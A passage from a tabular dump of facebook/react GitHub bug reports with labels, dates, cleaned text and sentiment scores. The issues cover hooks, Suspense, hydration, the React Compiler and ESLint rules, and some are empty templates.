","Status: Unconfirmed,Resolution: Stale",2025-11-26 10:35:40+00:00,2026-03-03 12:15:16+00:00,3,"Status: Unconfirmed,Resolution: Stale",97.0692,description i observed that the cleanup function inside does not always trigger when there are rapid consecutive state updates this leads to stale subscriptions and un in components that rely on cleanup create a component with a useeffect that logs cleanup trigger state updates inside a loop or with very small intervals ms observe that cleanup logs are skipped or delayed cleanup should run reliably before every re invocation of the effect regardless of how fast state is updated cleanup is inconsistently triggered during extremely fast re renders version react latest main branch environment browser chrome edge os windows macos tested both additional info issue seems more noticeable in strict mode possibly due to double rendering behavior,bug,0.7351
facebook/react,3666880619,Bug: useState hook not updating state correctly in async functions,"## Bug Description
When using useState hook inside an async function, the state doesn't update correctly after awaiting a promise.

## Steps To Reproduce
1. Create a component with useState
2. Create an async function that awaits a promise
3. Try to update state after the await
4. State shows stale value

## Expected Behavior
State should update correctly after async operations

## Actual Behavior
State retains old value

React version: 19.0.0","Status: Unconfirmed,Resolution: Stale",2025-11-26 10:27:48+00:00,2026-03-15 07:21:55+00:00,5,"Status: Unconfirmed,Resolution: Stale",108.8709,usestate hook not updating state correctly in async functions bug description when using usestate hook inside an async function the state doesn t update correctly after awaiting a promise create a component with usestate create an async function that awaits a promise try to update state after the await state shows stale value state should update correctly after async operations state retains old value react version,bug,0.8519
facebook/react,3666605190,[Compiler Bug]: The library for web and native user interface,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

Description: React is a JavaScript library for building user interfaces, designed to help developers create interactive, component-based user interfaces for web (and native) applications. 

### Repro steps

Description: React is a JavaScript library for building user interfaces, designed to help developers create interactive, component-based user interfaces for web (and native) applications. 

### How often does this bug happen?

Every time

### What version of React are you using?

Description: React is a JavaScript library for building user interfaces, designed to help developers create interactive, component-based user interfaces for web (and native) applications. 

### What version of React Compiler are you using?

Description: React is a JavaScript library for building user interfaces, designed to help developers create interactive, component-based user interfaces for web (and native) applications. ","Type: Bug,Status: Unconfirmed",2025-11-26 09:14:27+00:00,2025-12-05 16:06:29+00:00,0,"Type: Bug,Status: Unconfirmed",9.2861,compiler bug the library for web and native user interface what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react hooks build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro description react is a javascript library for building user interfaces designed to help developers create interactive component based user interfaces for web and native applications repro steps description react is a javascript library for building user interfaces designed to help developers create interactive component based user interfaces for web and native applications how often does this bug happen every time what version of react are you using description react is a javascript library for building user interfaces designed to help developers create interactive component based user interfaces for web and native applications what version of react compiler are you using description react is a javascript library for building user interfaces designed to help developers create interactive component based user interfaces for web and native applications,bug,0.9153
facebook/react,3666406208,Bug: React DevTools: Component props panel freezes when inspecting rapidly updating components,"### Summary
When inspecting components in React DevTools, the props/state panel sometimes freezes when the component tree is rapidly updating (e.g., frequent re-renders triggered by data polling or animations). DevTools UI stops responding until switching to another tab or selecting a different component.

### Steps to Reproduce
1. Create a component that re-renders frequently (e.g., using setInterval or a high-frequency animation state update).
2. Open React DevTools → Components tab.
3. Select the rapidly updating component.
4. Observe props/state panel becoming unresponsive or delayed.

### Expected Behavior
DevTools should continue updating props/state smoothly without UI freeze.

### Actual Behavior
Props/state panel becomes unresponsive; UI stops updating and interaction freezes temporarily.

### Environment
- React DevTools version: (latest stable, please fill exact version)
- Browser: Chrome/Firefox (tested on Chrome)
- OS: Windows/Linux/macOS (repro across machines)

### Additional Details
- Switching to Profiler tab and back sometimes restores responsiveness.
- Suspect bottleneck during frequent renders or serialization.
- Can provide minimal reproduction repo if required.
","Status: Unconfirmed,Component: Developer Tools,Resolution: Stale",2025-11-26 08:22:17+00:00,2026-05-17 22:20:34+00:00,3,"Status: Unconfirmed,Component: Developer Tools,Resolution: Stale",172.5821,react devtools component props panel freezes when inspecting rapidly updating components summary when inspecting components in react devtools the props state panel sometimes freezes when the component tree is rapidly updating e g frequent re renders triggered by data polling or animations devtools ui stops responding until switching to another tab or selecting a different component create a component that re renders frequently e g using setinterval or a high frequency animation state update open react devtools components tab select the rapidly updating component observe props state panel becoming unresponsive or delayed devtools should continue updating props state smoothly without ui freeze props state panel becomes unresponsive ui stops updating and interaction freezes temporarily environment react devtools version latest stable please fill exact version browser chrome firefox tested on chrome os windows linux macos repro across machines additional details switching to profiler tab and back sometimes restores responsiveness suspect bottleneck during frequent renders or serialization can provide repo if required,bug,0.4314
facebook/react,3663748146,Bug: Suspense + React.lazy rendering order regression between React 18.3.1 → 19.1.0 → 19.2.0 (unexpected repeated renders in 19.2),"I’m seeing a behavioral change in Suspense + React.lazy rendering order when upgrading from React 18.3.1 to React 19.x.
Specifically:

React 18.3.1: Components render once, in order:
CompA → CompB → CompC → CompD

React 19.1.0: Still renders cleanly in order (same as 18.3.1).

React 19.2.0: Rendering order changes significantly, and components render multiple times in progressive batches, producing logs like:
```
CompA
CompB
CompA
CompB
CompC
CompA
CompB
CompC
CompD
```
This occurs even in production build, and without StrictMode.
Splitting each component into its own Suspense boundary restores the expected behavior.

This appears to be caused by a change in Suspense reveal / pre-warm scheduling between 19.1 and 19.2 — but I'm not sure if this is an intended change, an edge case, or a regression.

I'm opening this issue to confirm:
- Is this new repeated rendering behavior expected in 19.2?
- Is there documentation on the Suspense behavior change between 19.1 and 19.2?
- Should a single Suspense boundary cause repeated re-renders for sibling lazy components in this minimal case?

## Minimal Reproduction
Reproduction environment
React versions tested:
18.3.1
19.1.0
19.2.0
Build: Production build 
Mode: No StrictMode
Bundler: any (Vite/Webpack tested) — same results
Browser: Chrome stable

## Code Example (minimal)

App.tsx
```
import { lazy, Suspense } from ""react"";

const CompA = lazy(() => import(""./CompA""));
const CompB = lazy(() => import(""./CompB""));
const CompC = lazy(()... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-11-25 16:23:20+00:00,2026-03-02 18:17:20+00:00,2,"Status: Unconfirmed,Resolution: Stale",97.0792,suspense react lazy rendering order regression between react unexpected repeated renders in i m seeing a behavioral change in suspense react lazy rendering order when upgrading from react to react x specifically react components render once in order compa compb compc compd react still renders cleanly in order same as react rendering order changes significantly and components render multiple times in progressive batches producing logs like this occurs even in production build and without strictmode splitting each component into its own suspense boundary restores the this appears to be caused by a change in suspense reveal pre warm scheduling between and but i m not sure if this is an intended change an edge case or a regression i m opening this issue to confirm is this new repeated rendering behavior expected in is there documentation on the suspense behavior change between and should a single suspense boundary cause repeated re renders for sibling lazy components in this minimal case reproduction environment react versions tested build production build mode no strictmode bundler any vite webpack tested same results browser chrome stable code example minimal app tsx import lazy suspense from react const compa lazy import compa const compb lazy import compb const compc lazy truncated,bug,-0.945
facebook/react,3663729686,Bug: A tree hydrated but some attributes of the server rendered HTML didn't match the client properties.,"Hi,

Original issue: https://github.com/mantinedev/mantine/issues/8319 (the author of this package and Next.js developers indicated that it is related to React)

I have this error which happens very randomly (on refresh or navigation, 1 time out of 5):

<img width=""983"" height=""747"" alt=""Image"" src=""https://github.com/user-attachments/assets/9fe6c9cf-29cc-4029-93f1-e44d1f80bc8d"" />

> A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. This won't be patched up. This can happen if a SSR-ed Client Component used:
> 
> - A server/client branch `if (typeof window !== 'undefined')`.
> - Variable input such as `Date.now()` or `Math.random()` which changes each time it's called.
> - Date formatting in a user's locale which doesn't match the server.
> - External changing data without sending a snapshot of it along with the HTML.
> - Invalid HTML tag nesting.
> 
> It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.
> 
> See more info here: https://nextjs.org/docs/messages/react-hydration-error
> 
>                             `<@mantine/core/Paper component=""header"" bg=""dark"" radius={0} p={{base:12,sm:24,md:32}} ...>
>                               <@mantine/core/Box ref={null} mod={[...]} className=""!flex flex..."" style={{...}} ...>
>                                 <InlineStyles selector="".__m__-_R_..."" styles={{padding:""c...""}} media={[...]}>
>                             ... [TRUNCATED]",Status: Unconfirmed,2025-11-25 16:18:30+00:00,2026-01-13 20:48:03+00:00,2,Status: Unconfirmed,49.1872,a tree hydrated but some attributes of the server rendered html didn t match the client properties hi original issue the author of this package and next js developers indicated that it is related to react i have this error which happens very randomly on refresh or navigation time out of a tree hydrated but some attributes of the server rendered html didn t match the client properties this won t be patched up this can happen if a ssr ed client component used a server client branch variable input such as or which changes each time it s called date formatting in a user s locale which doesn t match the server external changing data without sending a snapshot of it along with the html invalid html tag nesting it can also happen if the client has a browser extension installed which messes with the html before react loaded see more info here truncated,bug,0.6443
facebook/react,3662482904,[Compiler Bug]: no-deriving-state-in-effects does not error if you add the state setter to the dependencies array,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwFkBPAQU0wApgRCHCgBbBHVxh8AX2T5ghEeMnSFZOp1kBKRQB02+OKzAEA2stESpYADJMzAGnxgEuACIqb0h2YC6+AC8hvhh+FBuAMq4ZLgI+AA8+ABKCGTKdJQ8MDBknEn4XtZqHu5kTJQyAD74dFSU+AB8+LX1lI0t-FaqtjoA3Iah+AD0I-gA5kwAbggyZPhzlExSi7k4w2lkjAB0kQgAoiQkCIz8-HpBLcDDYW6e3mr2jrjdj32DRrIulu-S-gMhkYxsI5nUIAQprN8AslisCAh1jBNuldvsjiczhdgtdbq53MVer4Xm8Sh9ht98L8ydIXPdCT5ngFAXRZIYQE4QCY6CQmBMUCAmGJsHh8LhOJgEkIAAqUKBTOgAeUwzFMcnwJBgEDE+AA5AAjMj6hCUAC0mDlCtNMFRuFNJmFlURI0IL11n0MgmGYwdmEqcRYdHYEGICn0IDIHXDw0k0yYWroPgUNyMYXD00jTEIcQQADkIFF3DEcwBJOgY07ScMKXAwKAICmGWSuANgXlg2XylbK1V0MADDngAAWEAA7mX4jA6JGwChyFUELIgA

### Repro steps

1. See playground - one useEffect gives a eslint error the other does not

### How often does this bug happen?

Every time

### What version of React are you using?

19.1.0

### What version of React Compiler are you using?

1.0.0","Type: Bug,Status: Unconfirmed",2025-11-25 10:38:58+00:00,2025-11-25 16:36:59+00:00,1,"Type: Bug,Status: Unconfirmed",0.2486,compiler bug no deriving state in effects does not error if you add the state setter to the dependencies array what kind of issue is this react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin x eslint plugin react hooks build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps see playground one useeffect gives a eslint error the other does not how often does this bug happen every time what version of react are you using what version of react compiler are you using,bug,-0.163
facebook/react,3656173332,Bug: useEffect cleanup function throws TypeError when returning null in React 19,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

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  have dependencies other than React. Issues without reproduction steps or
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Link to code example:

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  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-11-23 15:56:54+00:00,2025-11-26 10:57:54+00:00,2,Status: Unconfirmed,2.7924,useeffect cleanup function throws typeerror when returning null in react of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3655597134,"Bug: [React 19] [Regression] Unexpected TypeError when `useEffect` returns `null` — ""destroy is not a function"" in React 19.x (cleanup now stricter)","Bug: [React 19] [Regression] Unexpected TypeError when useEffect returns null — ""destroy is not a function"" in React 19.x (cleanup now stricter) 

### Summary
After upgrading to React 19.x, code that previously returned `null` from a `useEffect` callback now throws `TypeError: destroy is not a function` during cleanup. Previously returning `null` or other non-function values often worked. This appears to be stricter runtime enforcement of the rule that an effect may only return a cleanup function or nothing.

### Reproduction (minimal)
```jsx
import React, { useEffect } from ""react"";

export default function App() {
  useEffect(() => {
    // early exit path that used to return null
    if (Date.now() < 0) {
      return null;
    }
    // normal effect (no cleanup)
    console.log(""effect ran"");
  }, []);

  return <div>Test</div>;
}
","Status: Unconfirmed,Resolution: Stale",2025-11-23 07:10:47+00:00,2026-02-28 09:08:53+00:00,3,"Status: Unconfirmed,Resolution: Stale",97.082,react regression unexpected typeerror when returns destroy is not a function in react x cleanup now stricter bug react regression unexpected typeerror when useeffect returns null destroy is not a function in react x cleanup now stricter summary after upgrading to react x code that previously returned from a callback now throws during cleanup previously returning or other non function values often worked this appears to be stricter runtime enforcement of the rule that an effect may only return a cleanup function or nothing reproduction minimal jsx import react useeffect from react export default function app useeffect early exit path that used to return null if date now return null normal effect no cleanup console log effect ran return test,bug,-0.8591
facebook/react,3652892307,Bug: [EPRH] Adding multiple rules to eslint-disable-next-line along with noInlineConfig: true somehow doesn't report any errors,"

React version: 18

I had originally reported this in the ESLint repo, but they suggested it to move it here eslint/eslint#20344
## Steps To Reproduce

1. Clone the repo https://github.com/ankitprahladsoni/eslint-noInlineConfig-bug
2. run `npm run lint`

## The current behavior
Running npm run eslint results in 2 warnings
```
   8:5  warning  '// eslint-disable-next-line react-hooks/exhaustive-deps, react-hooks/set-state-in-effect' has no effect because you have 'noInlineConfig' setting in your config
  10:6  warning  React Hook useEffect has a missing dependency: 'count'. Either include it or remove the dependency array. You can also do a functional update 'setCount(c => ...)' if you only need 'count' in the 'setCount' call  react-hooks/exhaustive-deps
```


## The expected behavior
ESLint should have thrown at least one error, since noInlineConfig is set to true. We can get it if we remove the inline config manually
`8:5 error    Error: Calling setState synchronously within an effect can trigger cascading renders`","Status: Unconfirmed,Resolution: Stale",2025-11-21 19:46:13+00:00,2026-05-26 17:24:25+00:00,7,"Status: Unconfirmed,Resolution: Stale",185.9015,eprh adding multiple rules to eslint disable next line along with noinlineconfig true somehow doesn t report any errors react version i had originally reported this in the eslint repo but they suggested it to move it here eslint eslint clone the repo run the current behavior running npm run eslint results in warnings the eslint should have thrown at least one error since noinlineconfig is set to true we can get it if we remove the inline config manually,bug,-0.4404
facebook/react,3649153864,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-11-20 21:26:40+00:00,2025-11-24 16:37:34+00:00,2,Status: Unconfirmed,3.7992,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3649151500,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
","Status: Unconfirmed,Resolution: Stale",2025-11-20 21:25:59+00:00,2026-03-18 16:26:59+00:00,3,"Status: Unconfirmed,Resolution: Stale",117.7924,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3637876489,Bug: Learn bugs,"<!--
There is an issue while rendering the output result in the learning pages below the code example where it appeared the UI, now it doesn't  appear anymore
-->

React version: 19.2

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
[ Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.](https://react.dev/learn/updating-arrays-in-state)
-->

## The current behavior


## The expected behavior
","Status: Unconfirmed,Resolution: Stale",2025-11-18 12:11:49+00:00,2026-02-23 12:17:37+00:00,2,"Status: Unconfirmed,Resolution: Stale",97.004,learn bugs there is an issue while rendering the output result in the learning pages below the code example where it appeared the ui now it doesn t appear anymore react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7506
facebook/react,3637041380,[Compiler Bug]: React Compiler infers incorrect dependencies based on variable declaration order,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABAWwEMAHXAXlwwQHdcBZEgCgG0AdDXXNkQ1kAGlzACASwzJcARgC+AXXaduAIz6Dh+MRIBMc9rICU7dggAexCDDzoseAHJR8CGCLgBJDMSjYAwhHzmqDDwKRmEAN0IAGygEQUwANSiY7wALQgwAcwQAE1xpfXIAPiEFXGscSgclJwAVAE9iBHJcCOiEAH4AOizse3xqmHrGxn0AbiMOTjLMCoSkhFT0rOzvKMilQjgAa2bGKmpEtokMKqcCsmLgUqmpubbFzJzGQ5jOgDMYPz6BvZoXhH0Y2ueXGGGB5Tw6jEeWaRGI3QQ2D2p0GDQBAEJQcCYIjYBxGMCbgAePpOFzuTzYQk3KatGJkYB0joI3ookbSak00QYBkaDAcyZcm53ZJpR7ZBkihZi5arSLrTZbAVC3AAekKwKB-NBAjQmDeIgyKBAIn8Fjw2DRQlwAAVohkxAB5YjYEQzGEfPy4ADkG2qkQAtMR7WIAzjNtgA+h-CJIk5VdkRDhvViMKFSqrVdHiLHCK7MHQINkEBI+Gs+OxpLgwHmkwaEGBbSGMM781gxrqwCkINR3NgnBgomAUG8hwhpEA

### Repro steps

The React Compiler infers incorrect dependencies for the variable min when its declaration appears after the callback definition. Given the following code:

``` typescript
const map = new Map([
  [""a"", { min: 1 }],
  [""b"", { min: 2 }],
]);

export const NumericInputComponent = ({ value, onValueChanged }) => {
  const numberType = value?.getNumberType();

  const onValueChangedCallback = (newValue: number) => {
    onVa... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2025-11-18 09:24:13+00:00,2025-11-19 05:12:07+00:00,1,"Type: Bug,Status: Unconfirmed",0.8249,compiler bug react compiler infers incorrect dependencies based on variable declaration order what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react hooks build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps the react compiler infers incorrect dependencies for the variable min when its declaration appears after the callback definition given the following code typescript const map new map a min b min export const numericinputcomponent value onvaluechanged const numbertype value getnumbertype const onvaluechangedcallback newvalue number onva truncated,bug,0.5719
facebook/react,3632748015,Bug: eslint-react-hooks false positives on immutability rule,"As in [#34776](https://github.com/facebook/react/issues/34776), I have eslint which raises me an error about the immutability rule when I am trying to redirect with `window.location.href`

```
Error: This value cannot be modified

Modifying a variable defined outside a component or hook is not allowed. Consider using an effect.

   5 |     await new Promise((resolve) => setTimeout(() => {resolve()}, 1000))
   6 |
>  7 |     window.location.href = ""/"";
     |     ^^^^^^^^^^^^^^^ value cannot be modified
   8 |   }
   9 |   
  10 |   return <form onSubmit={handleSubmit(onSubmit)}>
```


React version: 19.2.0

## Steps To Reproduce

In my case, I am using react-hook-form which provide a `handleSubmit` callback  to do the form validation, and it seems that using `window.location.href` in this callback trigger the error. 

You can find a simple reproduction [here](https://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABACwEMMATAGwQGUoAjAWwEs8BeXACgDMMBKXZgPlxc23ADoZxCAB4AHCDDwkEHQlDJ4OUDHGwNMuALIBPAIIyZI3MHG5c6LHkzV6TPrkJgj29rwFWbtu4A7oSuGAhBuAAKMBCMYAhsbDAIkGQAbgi+ggnYACoMdAjQ2EnZVilpmSIAvgA0uACMAAyt3GISGIG4QQykEEEAdGQQcIS6mIP4KRxuoiAA9PMA3AE1AQEp2LBdADwc8nS4TrSM2MzARKQUzmdsJy7Y3DX8Aba7fTJQeNhGMgjMebYaTYea4BavLq4XYLA4wOiCXCrDDrDAgOpoTAcBgAcxQIEKcgUuF+-ys0TIUBxfQA8jIJlhcDUhLEjgByGiEGgIMgAWhklOpGF5KUIOl56DoMgYFBgCxIDBwbOR4jY1ihCwWkulZHGegwBggSmQuHmhDIZHm4mZYD1YGxqQpVNp9P1YG4y3R4HwAwAkhhgTAMOawCgVGQEjUgA) (without react-hook-form)

","Status: Unconfirmed,Resolution: Stale",2025-11-17 10:40:40+00:00,2026-05-22 07:19:56+00:00,3,"Status: Unconfirmed,Resolution: Stale",185.8606,eslint react hooks false positives on immutability rule as in i have eslint which raises me an error about the immutability rule when i am trying to redirect with react version in my case i am using react hook form which provide a callback to do the form validation and it seems that using in this callback trigger the error you can find a simple reproduction here without react hook form,bug,-0.3818
facebook/react,3630516733,Test,Test issue,,2025-11-16 12:59:21+00:00,2025-11-16 13:00:31+00:00,0,nan,0.0008,test test issue,others,0.0
facebook/react,3628217204,Bug: PATCH Request Body Ignored/Stripped When Using fetch API on React 19.2.0,"When attempting to send a **JSON** request body using the standard fetch API with the **HTTP** method set to **PATCH,** the body is consistently ignored or stripped from the request payload. This regression makes it impossible to perform partial updates requiring data transfer via the request body on React projects running **version 19.2.0.**

The issue is specifically observed when correctly setting the **Content-Type: application/json** header and stringifying the payload using **JSON.stringify()**.

### To Reproduce 

1. Set up a new React project using version 19.2.0
2. Create a component that performs a **PATCH** request using the **fetch** API, similar to the code snippet provided below. 
3. Set a network monitor (e.g., Chrome Devtools, Wireshark) on the target endpoint. 
4. Execute the **handlePatch** function. 

### Minimal Code Snippet: 

```bash
// This is the structure used to reproduce the bug
const dataToUpdate = { status: 'pending', notes: 'Needs review' };

fetch('[https://api.example.com/items/123](https://api.example.com/items/123)', {
    method: 'PATCH',
    headers: {
        'Content-Type': 'application/json',
    },
    body: JSON.stringify(dataToUpdate),
})
.then(response => response.json())
.then(data => console.log('Response:', data));
// When monitoring the request, the body is empty or not transmitted.

```

### Expected Behavior 

The **PATCH** request should include the serialized JSON object **({""status"":""pending"", ""notes"":""Needs review""})** in i... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-11-15 06:57:53+00:00,2026-02-22 13:19:40+00:00,3,"Status: Unconfirmed,Resolution: Stale",99.2651,patch request body ignored stripped when using fetch api on react when attempting to send a json request body using the standard fetch api with the http method set to patch the body is consistently ignored or stripped from the request payload this regression makes it impossible to perform partial updates requiring data transfer via the request body on react projects running version the issue is specifically observed when correctly setting the content type application json header and stringifying the payload using json stringify to reproduce set up a new react project using version create a component that performs a patch request using the fetch api similar to the code snippet provided below set a network monitor e g chrome devtools wireshark on the target endpoint execute the handlepatch function minimal code snippet the patch request should include the serialized json object status pending notes needs review in i truncated,bug,-0.3612
facebook/react,3627113669,Bug: recovery my settlements,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-11-14 20:46:40+00:00,2025-11-14 22:45:34+00:00,0,Status: Unconfirmed,0.0826,recovery my settlements of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3626876964,[Compiler Bug]: stable setter for useOptimistic,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEAwhALYAOhCmOAFMGAgDYK4CCuBmAvgJRFgAHUzCccQmBxEA2njAAFWgBM8mAOYAaIsxwBJJavUaAukQC8RKMwDylfOQX449NAEMWzfgG5R-iSkZd25CS2tmEk8WACMQgGt6ekELAD4hAPE9Q2VMNU16HBgoBF9MooQcWGJmNk5QzGS-MRxeHVla9hwufEJTMrEWmErqonpygB5U8vEJgGVWLv1MSihghotgEN6+IgB6aZbxcWAFXPyNIgAyK6IJsEp3TFSAcgA6D5eJvYen1N5JgcAvxRLwQFoQJJMGg8BoUCA8FQIDAZDgAJ6UBBCIiKFhQDTqew7MBEXhENAwChEF5xGKsAC0lDxBMw9OG23pkioeDYMD2amkL2aokYoiI+z2XMoPPcOwAshAVAhkERhCBomqxaqQI9MHg4AAVAAWwzARogLBUapVaswNDVWi1apw7hgGkq1u1AEYAJwO0G6WUKGEIEm4-GEhw8MC+cHgc0Ad2WOAQMEwnjAKA8XgQvCAA

### Repro steps

<img width=""1280"" height=""635"" alt=""Image"" src=""https://github.com/user-attachments/assets/47665500-8654-4d6b-9d20-444460671c2f"" />

### How often does this bug happen?

Every time

### What version of React are you using?

19.2

### What version of React Compiler are you using?

playground",Type: Bug,2025-11-14 19:24:08+00:00,2025-11-18 15:50:44+00:00,1,Type: Bug,3.8518,compiler bug stable setter for useoptimistic what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react hooks build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps how often does this bug happen every time what version of react are you using what version of react compiler are you using playground,bug,-0.1027
facebook/react,3622160562,Bug: ReactFlightAsyncDebugInfo test 'can track async information when awaited' fails due to snapshot mismatch,"


React version:Experimental / latest commit


## Steps To Reproduce

1. Clone the React repository.
2. Run the following test:
   yarn test packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js --testNamePattern=""can track async information when awaited"" --runInBand --verbose
3. Observe that the test fails due to a snapshot mismatch.

https://github.com/user-attachments/assets/426920b1-7338-4d5d-833e-22e33a7d5c4c

-->

Link to code example: packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js


# Context: Snapshot Mismatch in ReactFlightAsyncDebugInfo-test

###  Failing Test Case

test(""can track async information when awaited"", async () => {
  const result = await someAsyncFunction();
  expect(getDebugInfo(result)).toMatchInlineSnapshot(`
    Object {
      ""value"": undefined,
    }
  `);
});

### implementation

export async function someAsyncFunction() {
  return {
    value: [undefined],
  };
}
-->

### Actual Output
```js
Object {
  ""value"": [undefined],
}

-->

## The current behavior
The inline snapshot does not match the current output. The test expects `""value"": undefined` but receives `""value"": [ , ]`.

## The expected behavior
The test should pass and the snapshot should match the current output.


